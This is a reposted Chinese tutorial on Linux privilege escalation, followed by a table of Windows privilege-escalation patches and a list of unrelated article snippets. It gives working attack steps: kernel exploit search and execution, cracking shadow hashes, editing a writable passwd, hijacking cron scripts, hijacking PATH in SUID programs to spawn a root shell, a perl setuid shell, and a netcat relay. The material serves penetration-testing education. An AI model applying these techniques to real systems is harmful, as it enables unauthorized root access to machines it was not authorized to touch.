20. Linux提权:从入门到放弃
几点前提
已经拿到低权shell
被入侵的机器上面有nc,python,perl等linux非常常见的工具
有权限上传文件和下载文件
内核漏洞提权
提到脏牛,运维流下两行眼泪,我们留下两行鼻血。内核漏洞是我们几乎最先想到的提权方法。通杀的内核漏洞是十分少见的,因而我们应该先对系统相关的信息进行收集。
查看发行版
cat /etc/issue
cat /etc/*-release
查看内核版本
uname -a
这里我找了台机器测试:
#uname -a
Linux xxxxx 2.6.--generic-pae #-Ubuntu SMP Fri Apr :: UTC i686 GNU/Linux#cat /etc/*-release
DISTRIB_ID=UbuntuDISTRIB_RELEASE=10.04
DISTRIB_CODENAME=lucid
DISTRIB_DESCRIPTION="Ubuntu 10.04 LTS"
这样,我们就得到了系统的内核版本(2.6.32-21 pae),cpu架构(i686),和发行版(ubuntu 10.04)
可以开始搜索了
大多内核漏洞通过内核版本能很快查到
用kali自带的searchsploit来搜索exploitdb中的漏洞利用代码
searchspoit linux 2.6 ubuntu priv esc
结果:
这么多,我们加入系统信息缩小范围
searchsploit linux priv esc 2.6 ubuntu
这样可选的exp就少多了,很无奈,我们需要漫长的点开exp看具体要求的筛选过程,大部分exp都会写清生效条件。因此我们能够虽然很气,但也很快地去掉一些不具备利用条件的exp。比如第三个exp针对一个特别的磁盘格式,排除。
经过艰难的寻找,发现15704,c很顺眼,于是把源代码上传,然后:
#gcc exp.c
#lsexp.c
a.out#./a.out
id
uid=(root) gid=(root)
我们先编译exp再执行。可以看到exp执行以后没输出,但是我们其实已经得到rootshell了(exp执行以后一定敲个命令,不然都不知道是成功了还是卡了)
exploitdb的搜索过程虽然繁琐,但是能基本保证不会遗漏漏洞。如果想先偷懒图个快的话,我们可以试试https://www.kernel-exploits.com/,或者 https://github.com/SecWiki/linux-kernel-exploits 这里的exp已经按照内核版本分类了,而且有很多已经完成了编译。
比如我们搜索2.6.32:
这个rds的binary刚巧能用。“我收集信息了,我上传exp了,我就root了。“
当然,以上只是非常理想的情况,我们经常会遇到没有gcc的坑爹服务器。这时我们就需要在本地编译。本地编译时不止要看exp源码注释的编译参数,也需要手动调整一下编译的参数,比如给gcc 加-m 32来编译32位。编译问题繁多,有困难找谷歌,不再赘述。
当内核版本没有好用的exp对应的时候,可以检查磁盘格式:
cat /etc/fstab
和已经安装的程序:
dpkg -l
rpm -qa
然后进行刚刚繁琐的搜索,没准就找到个bug
最后强调利用内核漏洞的几个注意点:
1.读源码,不然可能连编译都不会
2.读源码,不然费劲编译完才发现不适用
3.读源码,不然遇到一个删全盘的”exp“怎么办
明文root密码提权
passwd和shadow
虽然遇到的概率很小,但还是提一下
大多linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的。
这里是一个典型的passwd文件
root:x:::root:/root:/bin/bash
daemon:x:::daemon:/usr/sbin:/bin/sh
bin:x:::bin:/bin:/bin/sh
sys:x:::sys:/dev:/bin/sh
sync:x:::sync:/bin:/bin/sync
games:x:::games:/usr/games:/bin/sh
man:x:::man:/var/cache/man:/bin/sh
lp:x:::lp:/var/spool/lpd:/bin/sh
mail:x:::mail:/var/mail:/bin/sh
news:x:::news:/var/spool/news:/bin/sh
uucp:x:::uucp:/var/spool/uucp:/bin/sh
proxy:x:::proxy:/bin:/bin/sh
www-data:x:::www-data:/var/www:/bin/sh
backup:x:::backup:/var/backups:/bin/sh
list:x:::Mailing List Manager:/var/list:/bin/sh
irc:x:::ircd:/var/run/ircd:/bin/sh
nobody:x:::nobody:/nonexistent:/bin/sh
ibuuid:x::::/var/lib/libuuid:/bin/sh
syslog:x::::/home/syslog:/bin/false
sshd:x::::/var/run/sshd:/usr/sbin/nologin
passwd由冒号分割,第一列是用户名,第二列是密码,x代表密码hash被放在shadow里面了(这样非root就看不到了)。而shadow里面最重要的就是密码的hash
root:$$URgq7sJf$4x8e9ntqTwAPIubi9YLxLQ2mZTTZKnGz0g/wWzOdPB5eGuz.S5iRtFdvfFd9VIVEWouiodB/hh9BYOLgAD8u5/:::::::
daemon:*:::::::
bin:*:::::::
sys:*:::::::
sync:*:::::::
games:*:::::::
man:*:::::::
lp:*:::::::
mail:*:::::::
news:*:::::::
uucp:*:::::::
proxy:*:::::::
www-data:*:::::::
backup:*:::::::
list:*:::::::
irc:*:::::::
gnats:*:::::::
nobody:*:::::::
libuuid:!:::::::
syslog:*:::::::
mysql:!:::::::
dovecot:*:::::::
sshd:*:::::::
postfix:*:::::::
shell命令来检查权限
cd /etc
ls -l passwd shadow
如果passwd可写,我们就可以把root的密码字段(x)替换成一个已知密码的hash(比如本机shadow里面的root密码hash),这样系统在验证密码时以passwd的为准,密码就已知了。如果shadow可读,我们可以读走root的hash,然后用hashcat或者john暴力破解之。
密码复用
很多管理员会重复使用密码,因此数据库或者web后台的密码也许就是root密码。
and then?
有了(疑似)root密码怎么办?你一定想ssh登陆。然而ssh很可能禁止root登陆,或是防火墙规则将你排除在外了。返回来想,我们不是有一个低权shell了吗?找个办法再上面“输入”密码就好了。显然,直接在低权shell里面用sudo是不奏效的。这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。python就有这样的功能。在shell里面输入:
python -c 'import pty;pty.spawn("/bin/sh")'
就用python简历了一个虚拟终端,然后就可以使用sudo等等命令了。
python -c 'import pty;pty.spawn("/bin/sh")'
$ sudo su
sudo su
[sudo] password for www-data:
Sorry, try again.
[sudo] password for www-data:
计划任务
系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出
ls -l /etc/cron*
默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本等回连rootshell了。
SUID
SUID是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行。比如passwd命令,就是以root权限运行来修改shadow的。
这里我们做个实验(环境为ubuntu 16.04):
c源代码
#include<stdlib.h>
#include <unistd.h>
int main()
{
setuid();//run as root
system("id");
system("cat /etc/shadow");
}
以root进行编译和权限设置
gcc suid.c -o suid-exp
chmod ./suid-exp#这里设置了SUID位
ls -l
输出
-rwsr-xr-x root root Mar : suid-exp
注意s属性,表示这个程序有SUID的属性。
接下来我们切换用户并执行
su test
./suid-exp
可以看到程序实际上已经提升到了root权限。
SUID程序经常存在提权漏洞,比如nmap就曾出现过提权漏洞。低权用户通过打开nmap交互模式以root执行任意系统命令。而除了借助程序功能提权,我们还可以尝试劫持环境变量提权。上文的c程序使用了system函数,system函数是继承环境变量的,因此我们通过替换环境变量可以达到执行任意命令的效果。
我们进入test低权用户的shell
cat >> /tmp/cat <<EOF
#!/usr/bin/python
print "this is not the true cat"
print "here is a root shell!"
import pty;pty.spawn("/bin/sh")
EOF
# 这里我们在/tmp建立了假的cat,它会用python执行一个shell
PATH=/tmp:$PATH#设置PATH,优先从/tmp查找程序
./suid-exp#执行suid程序,因为PATH被劫持,system("cat /etc/shadow");会执行我们的假cat
运行结果
还有一种情况:管理员配置错误,把不带setuid(0);代码的程序配置了SUID。当这些程序被劫持的时候,我们需要自己的程序中使用setuid(0);来提权到root。这里有一个小技巧,我们用perl脚本来setuid:
#!/usr/bin/perl
$< = $>;
$( = $) = ;
system ("/bin/sh"):
用这个简单的脚本劫持,就把shell运行在root权限下了。
网络与隐藏的服务
有一些服务器的服务会被配置成对内网或者对本机开放。通过对他们的攻击我们有机会接触更多的敏感文件,或是运气足够好碰上一个远程root漏洞。
netstat -antup#查看各种网络服务
如果找到些神秘的服务,可以用netcat做个转发
mkfifo backpipe
nc -l <backpipe | nc remote_host >backpipe
之后找漏洞,攻击,从头再来。
相关工具
提了那么配置错误的利用,却没说怎么找这些错误
分享两个脚本:
unix-privesc-check: http://pentestmonkey.net/tools/audit/unix-privesc-check
linuxprivchecker: https://www.securitysift.com/download/linuxprivchecker.py
这两个程序不止细致地检查了非常多的配置问题,更让人感动地列出了所有可写文件。基本上可以说他们的检查是足够全面的。
当然如果希望手动检查还是推荐 https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
总结
Linux提权花样非常多,涉及的技术五花八门。写这篇文章的时候总想把相关知识都解释清楚,但是面对系统繁琐的工作过程和众多的发行版深感自己理解之浅。我很赞同在很多论坛上看到的对于linux提权的提示:你需要知道linux系统的工作方式。各种奇技淫巧或是无比脑残的错误最终都回归到了系统的运行流程和权限管理机制上面。回归本质,系统地了解系统才是保证安全的最佳方式。
参考资料
http://www.xinotes.net/notes/note/1529/
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
原文链接:http://www.freebuf.com/articles/system/129549.html
Windows 补丁一览表
漏洞列表 #Security Bulletin #KB #Description #Operating System CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows 10/8.1/7/2016/2010/2008)
MS17-010 [KB4013389] [Windows Kernel Mode Drivers] (windows 7/2008/2003/XP)
MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016)
MS16-098 [KB3178466] [Kernel Driver] (Win 8.1)
MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012)
MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012)
MS16-016 [KB3136041] [WebDAV] (2008/Vista/7)
MS15-097 [KB3089656] [remote code execution] (win8.1/2012)
MS15-076 [KB3067505] [RPC] (2003/2008/7/8/2012)
MS15-077 [KB3077657] [ATM] (XP/Vista/Win7/Win8/2000/2003/2008/2012)
MS15-061 [KB3057839] [Kernel Driver] (2003/2008/7/8/2012)
MS15-051 [KB3057191] [Windows Kernel Mode Drivers] (2003/2008/7/8/2012)
MS15-010 [KB3036220] [Kernel Driver] (2003/2008/7/8)
MS15-015 [KB3031432] [Kernel Driver] (Win7/8/8.1/2012/RT/2012 R2/2008 R2)
MS15-001 [KB3023266] [Kernel Driver] (2008/2012/7/8)
MS14-070 [KB2989935] [Kernel Driver] (2003)
MS14-068 [KB3011780] [Domain Privilege Escalation] (2003/2008/2012/7/8)
MS14-058 [KB3000061] [Win32k.sys] (2003/2008/2012/7/8)
MS14-040 [KB2975684] [AFD Driver] (2003/2008/2012/7/8)
MS14-002 [KB2914368] [NDProxy] (2003/XP)
MS13-053 [KB2850851] [win32k.sys] (XP/Vista/2003/2008/win 7)
MS13-046 [KB2840221] [dxgkrnl.sys] (Vista/2003/2008/2012/7)
MS13-005 [KB2778930] [Kernel Mode Driver] (2003/2008/2012/win7/8)
MS12-042 [KB2972621] [Service Bus] (2008/2012/win7)
MS12-020 [KB2671387] [RDP] (2003/2008/7/XP)
MS11-080 [KB2592799] [AFD.sys] (2003/XP)
MS11-062 [KB2566454] [NDISTAPI] (2003/XP)
MS11-046 [KB2503665] [AFD.sys] (2003/2008/7/XP)
MS11-011 [KB2393802] [kernel Driver] (2003/2008/7/XP/Vista)
MS10-092 [KB2305420] [Task Scheduler] (2008/7)
MS10-065 [KB2267960] [FastCGI] (IIS 5.1, 6.0, 7.0, and 7.5)
MS10-059 [KB982799] [ACL-Churraskito] (2008/7/Vista)
MS10-048 [KB2160329] [win32k.sys] (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7)
MS10-015 [KB977165] [KiTrap0D] (2003/2008/7/XP)
MS09-050 [KB975517] [Remote Code Execution] (2008/Vista)
MS09-020 [KB970483] [IIS 6.0] (IIS 5.1 and 6.0)
MS09-012 [KB959454] [Chimichurri] (Vista/win7/2008/Vista)
MS08-068 [KB957097] [Remote Code Execution] (2000/XP)
MS08-067 [KB958644] [Remote Code Execution] (Windows 2000/XP/Server 2003/Vista/Server 2008)
MS08-025 [KB941693] [Win32.sys] (XP/2003/2008/Vista)
MS06-040 [KB921883] [Remote Code Execution] (2003/xp/2000)
MS05-039 [KB899588] [PnP Service] (Win 9X/ME/NT/2000/XP/2003)
MS03-026 [KB823980] [Buffer Overrun In RPC Interface] (/NT/2000/XP/2003)
20. Linux提权:从入门到放弃的更多相关文章
- Linux提权:从入门到放弃
*原创作者:piece of the past,本文属Freebuf原创奖励计划,未经许可禁止转载 日站就要日个彻底.往往我们能拿下服务器的web服务,却被更新地比西方记者还快的管理员把内网渗透的种子 ...
- 免考final linux提权与渗透入门——Exploit-Exercise Nebula学习与实践
免考final linux提权与渗透入门--Exploit-Exercise Nebula学习与实践 0x0 前言 Exploit-Exercise是一系列学习linux下渗透的虚拟环境,官网是htt ...
- Linux提权
讲Linux提权之前,我们先看看与Linux有关的一些知识: 我们常说的Linux系统,指的是Linux内核与各种常用软件的集合产品,全球大约有数百款的Linux系统版本,每个系统版本都有自己的特性和 ...
- Linux提权(1)-基础版~
利用Linux内核漏洞提权 VulnOS version 2是VulHub上的一个Linux提权练习,当打开虚拟机后,可以看到 获取到低权限SHELL后我们通常做下面几件事 1.检测操作系统的发行版本 ...
- 又一款linux提权辅助工具
又一款linux提权辅助工具 – Linux_Exploit_Suggester 2013-09-06 10:34 1455人阅读 评论(0) 收藏 举报 https://github.com/Pen ...
- 记一次初步Linux提权
前言. 提权这么久了 还是头一次提下Linux的服务器... 由于之前一直钻研的win服务器 要不是前些日子爆出来Struts2-045漏洞 估计还没时间接触Linux提权.... 正文. st2 ...
- 利用Metasploit进行Linux提权
利用Metasploit进行Linux提权 Metasploit 拥有msfpayload 和msfencode 这两个工具,这两个工具不但可以生成exe 型后门,一可以生成网页脚本类型的webshe ...
- Unix/Linux提权漏洞快速检测工具unix-privesc-check
Unix/Linux提权漏洞快速检测工具unix-privesc-check unix-privesc-check是Kali Linux自带的一款提权漏洞检测工具.它是一个Shell文件,可以检测 ...
- Linux提权中常见命令大全
在拿到一个 webshell 之后,大家首先会想到去把自己的权限提升到最高,windows 我们会提升到 SYSTEM 权限,而 Linux 我们会提升到 root 权限,拿在进行 Linux 提权的 ...
随机推荐
- DEDE 列表页调用如 标题,时间,简介等
以下是直接从板子中复制出来的,CSS自已根据需要写下就行.在调时简介长度不知道怎么控制,现在说下方法1. infolen='30' 这个可以2. 系统设置 >其它设置 >内容简介长度填下就 ...
- Docker Copy On Write
Container分成结构 Container最上面是一个可写的容器层,以及若干只读的镜像层组成,Container的数据就存放在这些层中,这样的分层结构最大的特性是Copy-On-Write: 1. ...
- 程序以html形式发送邮件注意问题
1.样式要写在内部,不要单独定义样式 2.div 使用背景图片在有些浏览器中出不来这时候需要用: <table style="width: 640px" cellpaddin ...
- Native App vs Web App 以及 Hybrid App的实现原理
移动应用基本的三种类型 1) Native 应用程序 2) Web 应用程序 3) 混合应用程序(Hybrid: Native应用和web应用结合) Native 应用 直接运行在电脑上或者智能 ...
- Array对象(一)
Array是JavaScript中的一个事先定义好的对象(也可以称作一个类),可以直接使用. 创建Array对象: var array = new Array(); 创建指定元素个数的Array对象: ...
- Linux下开放防火墙端口
方法一:1.vi /etc/sysconfig/iptables 2.-A INPUT -m state --state NEW -m tcp -p tcp --dport 8080 -j ACCEP ...
- javascript通用参数判断
//判断value是小于等于max的数字function isNumberMax(value, max){ if(!isNumber(value) || !isNumber(max)){ ...
- GeoServer基础教程(四):空间数据互操作的接口规范WMS、WFS和WCS
转载:https://ethanblog.com/tech/all-about-wms-wfs-and-wcs.html 前面几节介绍了GeoServer基础教程的一些基本操作,相信大家对GeoSer ...
- PHP 常量、PHP 变量全解析(超全局变量、变量的8种数据类型等)
常量特点 常量一旦被定义就无法更改或撤销定义. 常量名不需要开头的$ 与变量不同,常量贯穿整个脚本是自动全局的. 作用域不影响对常量的访问 常量值只能是字符串或数字 设置 PHP 常量 如需设置常量, ...
- Android中高效的显示图片之一 ——加载大图
在网上看了不少文章,发现还是官方文档介绍最详细,把重要的东西简单摘要出来.详细可看官方文档地址 ( http://www.bangchui.org/read.php?tid=9 ) . 在应用中显示图 ...